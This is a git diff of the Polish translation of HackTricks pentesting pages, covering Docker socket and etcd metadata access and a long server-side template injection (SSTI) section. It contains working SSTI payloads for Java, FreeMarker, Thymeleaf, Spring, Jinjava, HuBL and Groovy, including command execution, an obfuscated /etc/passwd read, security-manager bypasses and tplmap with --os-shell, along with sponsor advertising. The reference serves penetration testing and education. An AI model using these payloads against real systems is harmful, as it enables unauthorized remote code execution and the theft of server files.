+* `curl -L http://127.0.0.1:2379/version`
+* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
## Docker
-Metadane Dockera można uzyskać lokalnie, podano przykłady pobierania informacji o kontenerach i obrazach:
-- Prosty przykład dostępu do metadanych kontenerów i obrazów za pomocą gniazda Dockera:
-- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
-- Wewnątrz kontenera użyj curl z gniazdem Dockera:
-- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
-- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
+Metadane Dockera można uzyskać lokalnie, przykłady uzyskiwania informacji o kontenerach i obrazach:
+
+* Prosty przykład uzyskania metadanych kontenerów i obrazów za pomocą gniazda Dockera:
+* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
+* Wewnątrz kontenera użyj curl z gniazdem Dockera:
+* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
+* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
## Rancher
-Metadane Rancher można uzyskać za pomocą:
-- `curl http://rancher-metadata//`
+Metadane Ranchera można uzyskać za pomocą:
+* `curl http://rancher-metadata//`
-Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi powierzchnię ataku, wykonuje skanowanie zagrożeń proaktywnych, znajduje problemy we wszystkich warstwach technologicznych, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
+Znajdź najważniejsze podatności, aby móc je szybciej naprawić. Intruder śledzi powierzchnię ataku, przeprowadza skanowanie zagrożeń proaktywnych, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@@ -551,10 +583,10 @@ Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi po
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github repos.**
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md
index ae332e35e..69014321b 100644
--- a/pentesting-web/ssti-server-side-template-injection/README.md
+++ b/pentesting-web/ssti-server-side-template-injection/README.md
@@ -6,101 +6,67 @@
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
+[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres stanowi gorący punkt spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
{% embed url="https://www.rootedcon.com/" %}
## Czym jest SSTI (Server-Side Template Injection)
-Server-side template injection to podatność, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany po stronie serwera. Ta podatność może występować w różnych technologiach, w tym w Jinja.
+Wstrzyknięcie szablonu po stronie serwera (SSTI) to podatność, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany na serwerze. Ta podatność może być znaleziona w różnych technologiach, w tym w Jinja.
-Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Przyjrzyjmy się przykładowemu kodowi demonstrującemu podatny fragment kodu z użyciem Jinja:
+Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozważmy przykład demonstrujący podatny fragment kodu z użyciem Jinja:
```python
output = template.render(name=request.args.get('name'))
```
-W tym podatnym kodzie, parametr `name` z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji `render`. Może to potencjalnie umożliwić atakującemu wstrzyknięcie złośliwego kodu do parametru `name`, co prowadzi do wstrzyknięcia szablonu po stronie serwera.
+W tym podatnym kodzie parametr `name` z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji `render`. Może to potencjalnie umożliwić atakującemu wstrzyknięcie złośliwego kodu do parametru `name`, co prowadzi do wstrzyknięcia szablonu po stronie serwera.
-Na przykład, atakujący mógłby stworzyć żądanie z takim ładunkiem:
+Na przykład, atakujący mógłby stworzyć żądanie z ładunkiem takim jak ten:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
-Payload `{{zły-kod-tutaj}}` jest wstrzykiwany do parametru `name`. Ten payload może zawierać dyrektywy szablonu Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, co potencjalnie daje mu kontrolę nad serwerem.
+Payload `{{zły-kod-tutaj}}` jest wstrzykiwany do parametru `name`. Ten payload może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, potencjalnie uzyskując kontrolę nad serwerem.
-Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, programiści powinni upewnić się, że dane wprowadzane przez użytkownika są odpowiednio oczyszczone i zweryfikowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik unikania kontekstu może pomóc w ograniczeniu ryzyka związanego z tą podatnością.
+Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, programiści powinni upewnić się, że dane wprowadzane przez użytkownika są odpowiednio oczyszczone i zweryfikowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik ucieczki świadomej kontekstu może pomóc zmniejszyć ryzyko tej podatności.
### Wykrywanie
-Aby wykryć wstrzykiwanie szablonów po stronie serwera (SSTI), początkowo **fuzzowanie szablonu** jest prostym podejściem. Polega to na wstrzyknięciu sekwencji specjalnych znaków (**`${{<%[%'"}}%\`**) do szablonu i analizowaniu różnic w odpowiedzi serwera na zwykłe dane w porównaniu do tego specjalnego payloadu. Wskaźnikami podatności są:
-- Wyrzucane błędy, ujawniające podatność i potencjalnie silnik szablonów.
-- Brak payloadu w odbiciu lub brak niektórych jego części, co sugeruje, że serwer przetwarza go inaczej niż zwykłe dane.
-- **Kontekst tekstu**: Odróżnienie od XSS przez sprawdzenie, czy serwer ocenia wyrażenia szablonu (np. `{{7*7}}`, `${7*7}`).
+Aby wykryć Wstrzykiwanie Szablonów Po Stronie Serwera (SSTI), początkowo **fuzzowanie szablonu** jest prostym podejściem. Polega to na wstrzyknięciu sekwencji specjalnych znaków (**`${{<%[%'"}}%\`**) do szablonu i analizowaniu różnic w odpowiedzi serwera na zwykłe dane w porównaniu z tym specjalnym ładunkiem. Wskaźnikami podatności są:
-- **Kontekst kodu**: Potwierdzenie podatności poprzez zmianę parametrów wejściowych. Na przykład zmiana `greeting` w `http://vulnerable-website.com/?greeting=data.username`, aby sprawdzić, czy wynik serwera jest dynamiczny czy stały, jak w przypadku `greeting=data.username}}hello`, zwracający nazwę użytkownika.
+* Wyrzucane błędy, ujawniające podatność i potencjalnie silnik szablonów.
+* Brak ładunku w odbiciu lub brak jego części, sugerujący, że serwer przetwarza go inaczej niż zwykłe dane.
+* **Kontekst Czystego Tekstu**: Odróżnij od XSS, sprawdzając, czy serwer ocenia wyrażenia szablonów (np. `{{7*7}}`, `${7*7}`).
+* **Kontekst Kodu**: Potwierdź podatność, zmieniając parametry wejściowe. Na przykład zmieniając `greeting` w `http://vulnerable-website.com/?greeting=data.username`, aby sprawdzić, czy wynik serwera jest dynamiczny czy stały, jak w przypadku `greeting=data.username}}hello` zwracającego nazwę użytkownika.
-#### Faza identyfikacji
-Identyfikacja silnika szablonów polega na analizie komunikatów o błędach lub ręcznym testowaniu różnych payloadów specyficznych dla języka. Wspólne payloady powodujące błędy to `${7/0}`, `{{7/0}}` i `<%= 7/0 %>`. Obserwowanie odpowiedzi serwera na operacje matematyczne pomaga zlokalizować konkretny silnik szablonów.
+#### Faza Identyfikacji
+
+Identyfikacja silnika szablonów polega na analizie komunikatów o błędach lub ręcznym testowaniu różnych ładunków specyficznych dla języka. Powszechne ładunki powodujące błędy to `${7/0}`, `{{7/0}}` i `<%= 7/0 %>`. Obserwowanie odpowiedzi serwera na operacje matematyczne pomaga zlokalizować konkretny silnik szablonów.
## Narzędzia
### [TInjA](https://github.com/Hackmanit/TInjA)
-skaner SSTI + CSTI, który wykorzystuje nowatorskie poligloty
+wydajne narzędzie do skanowania SSTI + CSTI, które wykorzystuje nowatorskie poligloty
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
```
### [SSTImap](https://github.com/vladko312/sstimap)
-
-SSTImap jest narzędziem do automatycznego wykrywania i eksploatacji podatności Server-Side Template Injection (SSTI) w aplikacjach internetowych. Narzędzie to zostało opracowane w celu ułatwienia testowania penetracyjnego i identyfikacji luk w zabezpieczeniach aplikacji.
-
-#### Wprowadzenie
-
-Server-Side Template Injection (SSTI) to podatność, która występuje, gdy aplikacja internetowa umożliwia wstrzykiwanie kodu szablonu po stronie serwera. W przypadku wystąpienia tej podatności, atakujący może wykorzystać ją do wykonania dowolnego kodu na serwerze, co może prowadzić do naruszenia poufności danych, utraty integralności systemu lub innych poważnych konsekwencji.
-
-#### Wykorzystanie
-
-SSTImap automatycznie wykrywa podatności SSTI w aplikacjach internetowych, przeprowadzając testy wstrzykiwania kodu szablonu na różnych parametrach żądania. Narzędzie to obsługuje wiele popularnych języków szablonów, takich jak Jinja2, Twig, Smarty, Freemarker i inne.
-
-Aby rozpocząć skanowanie, wystarczy podać adres URL aplikacji docelowej. SSTImap automatycznie przeprowadzi testy na wszystkich dostępnych parametrach żądania, aby zidentyfikować potencjalne podatności SSTI.
-
-#### Instalacja
-
-Aby zainstalować SSTImap, wykonaj następujące kroki:
-
-1. Sklonuj repozytorium SSTImap z [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap).
-2. Przejdź do katalogu SSTImap.
-3. Zainstaluj wymagane zależności, wykonując polecenie `pip install -r requirements.txt`.
-
-#### Użycie
-
-Aby uruchomić SSTImap, wykonaj następujące kroki:
-
-1. Przejdź do katalogu SSTImap.
-2. Uruchom narzędzie, wykonując polecenie `python sstimap.py -u `.
-
-Po zakończeniu skanowania, SSTImap wygeneruje raport zawierający informacje o znalezionych podatnościach SSTI.
-
-#### Podsumowanie
-
-SSTImap jest przydatnym narzędziem do automatycznego wykrywania i eksploatacji podatności SSTI w aplikacjach internetowych. Dzięki temu narzędziu można szybko zidentyfikować potencjalne luki w zabezpieczeniach i podjąć odpowiednie działania w celu ich naprawy.
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
```
### [Tplmap](https://github.com/epinna/tplmap)
-
-Tplmap to skrypt Pythona służący do automatycznego wykrywania i eksploatacji podatności Server-Side Template Injection (SSTI). Skrypt ten może być używany do testowania aplikacji internetowych pod kątem potencjalnych luk w zabezpieczeniach SSTI.
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
@@ -114,14 +80,14 @@ interaktywna tabela zawierająca najbardziej wydajne poligloty wstrzykiwania sza
### Ogólne
-W tej **liście słów** można znaleźć **zmienne zdefiniowane** w środowiskach niektórych z poniższych silników:
+W tej **liście słów** znajdziesz **zmienne zdefiniowane** w środowiskach niektórych z poniższych silników:
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
### Java
-**Java - Podstawowe wstrzykiwanie**
+**Java - Podstawowa wstrzykiwania**
```java
${7*7}
${{7*7}}
@@ -131,56 +97,10 @@ ${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
```
**Java - Pobierz zmienne środowiskowe systemu**
-
-Aby pobrać zmienne środowiskowe systemu w języku Java, możemy skorzystać z klasy `System` i jej metody `getenv()`. Metoda ta zwraca mapę, która zawiera wszystkie zmienne środowiskowe systemu wraz z ich wartościami.
-
-Oto przykładowy kod, który pokazuje, jak pobrać zmienne środowiskowe systemu:
-
-```java
-import java.util.Map;
-
-public class EnvironmentVariables {
- public static void main(String[] args) {
- Map env = System.getenv();
- for (String key : env.keySet()) {
- String value = env.get(key);
- System.out.println(key + " = " + value);
- }
- }
-}
-```
-
-Ten kod iteruje przez wszystkie zmienne środowiskowe systemu i wyświetla ich nazwy oraz wartości na konsoli. Możemy go dostosować, aby wykonał inne operacje na zmiennych środowiskowych w zależności od naszych potrzeb.
```java
${T(java.lang.System).getenv()}
```
**Java - Pobierz /etc/passwd**
-
-W przypadku ataku Server-Side Template Injection (SSTI) na aplikację napisaną w języku Java, możemy próbować odzyskać zawartość pliku /etc/passwd. Poniżej znajduje się przykładowy kod, który można wykorzystać do tego celu:
-
-```java
-import java.io.BufferedReader;
-import java.io.InputStreamReader;
-
-public class SSTIExample {
- public static void main(String[] args) {
- try {
- String command = "cat /etc/passwd";
- Process process = Runtime.getRuntime().exec(command);
- BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
- String line;
- while ((line = reader.readLine()) != null) {
- System.out.println(line);
- }
- reader.close();
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
-}
-```
-
-Ten kod wykonuje polecenie systemowe `cat /etc/passwd` i odczytuje wynik. Następnie wypisuje zawartość pliku /etc/passwd na standardowe wyjście. Pamiętaj, że ten kod jest tylko przykładem i powinien być używany wyłącznie w celach edukacyjnych lub zgodnie z prawem.
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
@@ -188,12 +108,12 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
```
### FreeMarker (Java)
-Możesz wypróbować swoje payloady na [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
+Możesz wypróbować swoje ładunki na [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
* `#{7*7} = 49 -- (legacy)`
-* `${7*'7'} Nic`
+* `${7*'7'} Nothing`
* `${foobar}`
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
@@ -235,33 +155,35 @@ $str.valueOf($chr.toChars($out.read()))
### Thymeleaf
-W Thymeleaf, powszechnym testem podatności na SSTI jest wyrażenie `${7*7}`, które również dotyczy tego silnika szablonów. Aby potencjalnie wykonać zdalny kod, można użyć wyrażeń takich jak:
+W Thymeleaf, powszechnym testem podatności na SSTI jest wyrażenie `${7*7}`, które również dotyczy tego silnika szablonów. Do potencjalnego wykonania zdalnego kodu można użyć wyrażeń takich jak:
+
+* SpringEL:
-- SpringEL:
```java
${T(java.lang.Runtime).getRuntime().exec('calc')}
```
-- OGNL:
+* OGNL:
+
```java
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
-Thymeleaf wymaga, aby te wyrażenia były umieszczone w określonych atrybutach. Jednak _wstawianie wyrażeń_ jest obsługiwane dla innych lokalizacji szablonów, za pomocą składni `[[...]]` lub `[(...)]`. W związku z tym, prosty ładunek testowy SSTI może wyglądać tak: `[[${7*7}]]`.
+Thymeleaf wymaga, aby te wyrażenia były umieszczone w określonych atrybutach. Jednak _wstawianie wyrażeń_ jest obsługiwane w innych lokalizacjach szablonów, za pomocą składni takiej jak `[[...]]` lub `[(...)]`. W związku z tym, prosty ładunek testowy SSTI może wyglądać jak `[[${7*7}]]`.
-Jednak szansa na powodzenie tego ładunku jest zazwyczaj niska. Domyślna konfiguracja Thymeleaf nie obsługuje dynamicznego generowania szablonów; szablony muszą być zdefiniowane z góry. Programiści musieliby zaimplementować własny `TemplateResolver`, aby tworzyć szablony ze stringów w locie, co jest rzadkie.
+Jednak szansa na powodzenie tego ładunku jest zazwyczaj niska. Domyślna konfiguracja Thymeleaf nie obsługuje dynamicznej generacji szablonów; szablony muszą być predefiniowane. Programiści musieliby zaimplementować własny `TemplateResolver`, aby tworzyć szablony z ciągów znaków w locie, co jest rzadkie.
-Thymeleaf oferuje również _preprocessing wyrażeń_, gdzie wyrażenia wewnątrz podwójnych podkreślników (`__...__`) są przetwarzane przed wykonaniem. Ta funkcja może być wykorzystana przy konstrukcji wyrażeń, jak pokazano w dokumentacji Thymeleaf:
+Thymeleaf oferuje również _przetwarzanie wyrażeń_, gdzie wyrażenia wewnątrz podwójnych podkreśleń (`__...__`) są przetwarzane wstępnie. Ta funkcja może być wykorzystana przy konstruowaniu wyrażeń, jak pokazano w dokumentacji Thymeleaf:
```java
#{selection.__${sel.code}__}
```
**Przykład podatności w Thymeleaf**
-Rozważmy następujący fragment kodu, który może być podatny na wykorzystanie:
+Rozważ poniższy fragment kodu, który może być podatny na eksploatację:
```xml
```
-To wskazuje, że jeśli silnik szablonów nieprawidłowo przetwarza te dane wejściowe, może to prowadzić do zdalnego wykonania kodu, uzyskując dostęp do adresów URL takich jak:
+To wskazuje, że jeśli silnik szablonów nieprawidłowo przetwarza te dane wejściowe, może to prowadzić do zdalnego wykonania kodu uzyskującego dostęp do adresów URL, takich jak:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@@ -274,34 +196,19 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
[el-expression-language.md](el-expression-language.md)
{% endcontent-ref %}
-### Framework Spring (Java)
+### Spring Framework (Java)
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
-**Ominięcie filtrów**
+**Ominij filtry**
-Można używać wielu wyrażeń zmiennych, jeśli `${...}` nie działa, spróbuj `#{...}`, `*{...}`, `@{...}` lub `~{...}`.
+Można użyć wielu wyrażeń zmiennych, jeśli `${...}` nie działa, spróbuj `#{...}`, `*{...}`, `@{...}` lub `~{...}`.
* Odczytaj `/etc/passwd`
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
* Niestandardowy skrypt do generowania payloadów
-
-```python
-import os
-
-def generate_payload(command):
- payload = f"{{{{ {command} }}}}"
- return payload
-
-if __name__ == "__main__":
- command = input("Enter the command to execute: ")
- payload = generate_payload(command)
- print(f"Generated payload: {payload}")
-```
-
-Ten skrypt Pythona służy do generowania payloadów. Wprowadź polecenie, które chcesz wykonać, a skrypt wygeneruje odpowiedni payload.
```python
#!/usr/bin/python3
@@ -360,6 +267,7 @@ Nowa wersja Pebble:
{% endraw %}
+
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
@@ -374,37 +282,16 @@ Nowa wersja Pebble:
```
### Jinjava (Java)
-Jinjava to silnik szablonów dla języka Java, który obsługuje wstrzykiwanie kodu po stronie serwera (Server-Side Template Injection - SSTI). Jest to popularna technika wykorzystywana przez hakerów do wykonania kodu na serwerze i uzyskania nieautoryzowanego dostępu.
-
-#### Jak działa Jinjava?
-
-Jinjava działa poprzez umożliwienie programistom tworzenia szablonów, które mogą być dynamicznie renderowane na serwerze. Jednak jeśli nie są odpowiednio zabezpieczone, szablony te mogą być podatne na wstrzykiwanie kodu. Hakerzy mogą wykorzystać tę lukę, aby wstrzyknąć złośliwy kod i wykonać go na serwerze.
-
-#### Wykrywanie i wykorzystywanie SSTI w Jinjava
-
-Aby wykryć i wykorzystać SSTI w Jinjava, hakerzy mogą przeprowadzić testy, wstrzykując kod w różne miejsca w szablonach i obserwując, czy zostaje on wykonany. Jeśli kod zostaje wykonany, oznacza to, że serwer jest podatny na SSTI.
-
-Hakerzy mogą również wykorzystać różne techniki, takie jak wstrzykiwanie kodu Pythona, aby uzyskać dostęp do wrażliwych danych na serwerze. Przykładowe techniki obejmują wywoływanie funkcji systemowych, odczytywanie plików i wykonanie dowolnego kodu Pythona.
-
-#### Zabezpieczanie się przed SSTI w Jinjava
-
-Aby zabezpieczyć się przed SSTI w Jinjava, programiści powinni:
-
-- Unikać bezpośredniego wstrzykiwania danych użytkownika do szablonów.
-- Sprawdzać i filtrować dane wejściowe, aby upewnić się, że nie zawierają złośliwego kodu.
-- Używać wbudowanych funkcji i metod do bezpiecznego przetwarzania danych w szablonach.
-- Regularnie aktualizować silnik Jinjava, aby korzystać z najnowszych poprawek zabezpieczeń.
-
-Ważne jest, aby programiści byli świadomi zagrożeń związanych z SSTI w Jinjava i podejmowali odpowiednie środki ostrożności, aby zabezpieczyć swoje aplikacje przed atakami.
+### Jinjava (Java)
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
-Jinjava to projekt open source rozwijany przez Hubspot, dostępny pod adresem [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
+Jinjava to projekt open source opracowany przez Hubspot, dostępny pod adresem [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
**Jinjava - Wykonanie poleceń**
-Naprawiono za pomocą [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
+Naprawiono przez [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
@@ -420,9 +307,9 @@ Naprawiono za pomocą [https://github.com/HubSpot/jinjava/pull/230](https://gith
### Hubspot - HuBL (Java)
-* `{% %}` - delimitery instrukcji
-* `{{ }}` - delimitery wyrażeń
-* `{# #}` - delimitery komentarzy
+* `{% %}` - ograniczniki instrukcji
+* `{{ }}` - ograniczniki wyrażeń
+* `{# #}` - ograniczniki komentarzy
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
@@ -475,7 +362,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
-### Expression Language - EL (Java)
+### Język Wyrażeń - EL (Java)
* `${"aaaa"}` - "aaaa"
* `${99999+1}` - 100000.
@@ -483,13 +370,13 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
-Expression Language (EL) to podstawowa funkcja, która ułatwia interakcję między warstwą prezentacji (takimi jak strony internetowe) a logiką aplikacji (takimi jak zarządzane beany) w JavaEE. Jest szeroko stosowany w wielu technologiach JavaEE, aby usprawnić tę komunikację. Główne technologie JavaEE wykorzystujące EL to:
+Język Wyrażeń (EL) to podstawowa funkcja ułatwiająca interakcję między warstwą prezentacji (taką jak strony internetowe) a logiką aplikacji (taką jak zarządzane beany) w JavaEE. Jest szeroko stosowany w wielu technologiach JavaEE do usprawnienia tej komunikacji. Kluczowe technologie JavaEE wykorzystujące EL to:
-- **JavaServer Faces (JSF)**: Wykorzystuje EL do powiązania komponentów na stronach JSF z odpowiadającymi danymi i działaniami w backendzie.
-- **JavaServer Pages (JSP)**: EL jest używany w JSP do dostępu i manipulacji danymi wewnątrz stron JSP, ułatwiając połączenie elementów strony z danymi aplikacji.
-- **Contexts and Dependency Injection for Java EE (CDI)**: EL integruje się z CDI, umożliwiając płynną interakcję między warstwą internetową a zarządzanymi beanami, zapewniając bardziej spójną strukturę aplikacji.
+* **JavaServer Faces (JSF)**: Wykorzystuje EL do wiązania komponentów na stronach JSF z odpowiadającymi danymi i akcjami w backendzie.
+* **JavaServer Pages (JSP)**: EL jest używany w JSP do dostępu i manipulacji danymi wewnątrz stron JSP, ułatwiając połączenie elementów strony z danymi aplikacji.
+* **Contexts and Dependency Injection for Java EE (CDI)**: EL integruje się z CDI, umożliwiając płynną interakcję między warstwą internetową a zarządzanymi beanami, zapewniając bardziej spójną strukturę aplikacji.
-Sprawdź następującą stronę, aby dowiedzieć się więcej na temat **wykorzystania interpreterów EL**:
+Sprawdź następującą stronę, aby dowiedzieć się więcej na temat **eksploatacji interpreterów EL**:
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
@@ -497,7 +384,7 @@ Sprawdź następującą stronę, aby dowiedzieć się więcej na temat **wykorzy
### Groovy (Java)
-Następujące obejścia Security Managera zostały zaczerpnięte z tego [**opisu**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
+Poniższe obejścia menedżera bezpieczeństwa zostały zaczerpnięte z tego [**opisu**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
```java
//Basic Payload
import groovy.*;
@@ -524,13 +411,12 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
```
-[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
+[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
{% embed url="https://www.rootedcon.com/" %}
##
-
### Smarty (PHP)
```php
{$smarty.version}
@@ -549,8 +435,8 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
